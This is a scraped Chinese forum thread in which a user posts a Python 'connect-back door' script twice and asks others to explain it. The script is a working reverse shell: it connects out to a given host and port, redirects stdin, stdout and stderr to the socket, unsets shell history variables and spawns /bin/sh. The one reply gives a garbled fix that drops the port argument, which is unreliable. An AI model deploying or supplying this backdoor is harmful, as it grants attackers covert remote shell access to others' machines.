帮忙分析下这段代码
时间:2011-03-15
来源:互联网
这是摘自网络的一段脚本
复制代码
这是我自己简单的排版下,没有做过任何修改,只不过运行还是出错!看这段脚本意思实在吃力有些看不懂,谁方便的请分析解释下谢谢。
复制代码
- #!/usr/bin/python
- import sys
- import os
- import socket
- import pty
- shell = "/bin/sh"
- def usage(programname):
- print "ython connect-back door"
- print "Usage: %s " % programname
- def main():
- if len(sys.argv) !=3:
- usage(sys.argv[0])
- sys.exit(1)
- s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- try:
- s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
- print "[+]Connect OK."
- except:
- print "[-]Can't connect"
- sys.exit(2)
- os.dup2(s.fileno(),0)
- os.dup2(s.fileno(),1)
- os.dup2(s.fileno(),2)
- global shell
- os.unsetenv("HISTFILE")
- os.unsetenv("HISTFILESIZE")
- pty.spawn(shell)
- s.close()
- if __name__ == "__main__":
- main()
- #!/usr/bin/python
- import sys
- import os
- import socket
- import pty
- shell = "/bin/sh"
- def usage(programname):
- print "python connect-back door"
- print "Usage: %s " % programname
- def main():
- if len(sys.argv) !=3:
- usage(sys.argv[0])
- sys.exit(1)
- s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- try:
- s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
- print "[+]Connect OK."
- except:
- print "[-]Can't connect"
- sys.exit(2)
- os.dup2(s.fileno(),0)
- os.dup2(s.fileno(),1)
- os.dup2(s.fileno(),2)
- global shell
- os.unsetenv("HISTFILE")
- os.unsetenv("HISTFILESIZE")
- pty.spawn(shell)
- s.close()
- if __name__ == "__main__":
- main()
作者: skyxue215 发布时间: 2011-03-15
我认为这个程序有点问题:
16行应该是这样的:
s.connect((socket.gethostbyname(sys.argv[1]))
同时要注意:运行时应该在命令行,输入参数,如下:
python test.py www.google.com
16行应该是这样的:
s.connect((socket.gethostbyname(sys.argv[1]))
同时要注意:运行时应该在命令行,输入参数,如下:
python test.py www.google.com
作者: linus8866 发布时间: 2011-03-15
相关阅读 更多
热门阅读
-
office 2019专业增强版最新2021版激活秘钥/序列号/激活码推荐 附激活工具
阅读:74
-
如何安装mysql8.0
阅读:31
-
Word快速设置标题样式步骤详解
阅读:28
-
20+道必知必会的Vue面试题(附答案解析)
阅读:37
-
HTML如何制作表单
阅读:22
-
百词斩可以改天数吗?当然可以,4个步骤轻松修改天数!
阅读:31
-
ET文件格式和XLS格式文件之间如何转化?
阅读:24
-
react和vue的区别及优缺点是什么
阅读:121
-
支付宝人脸识别如何关闭?
阅读:21
-
腾讯微云怎么修改照片或视频备份路径?
阅读:28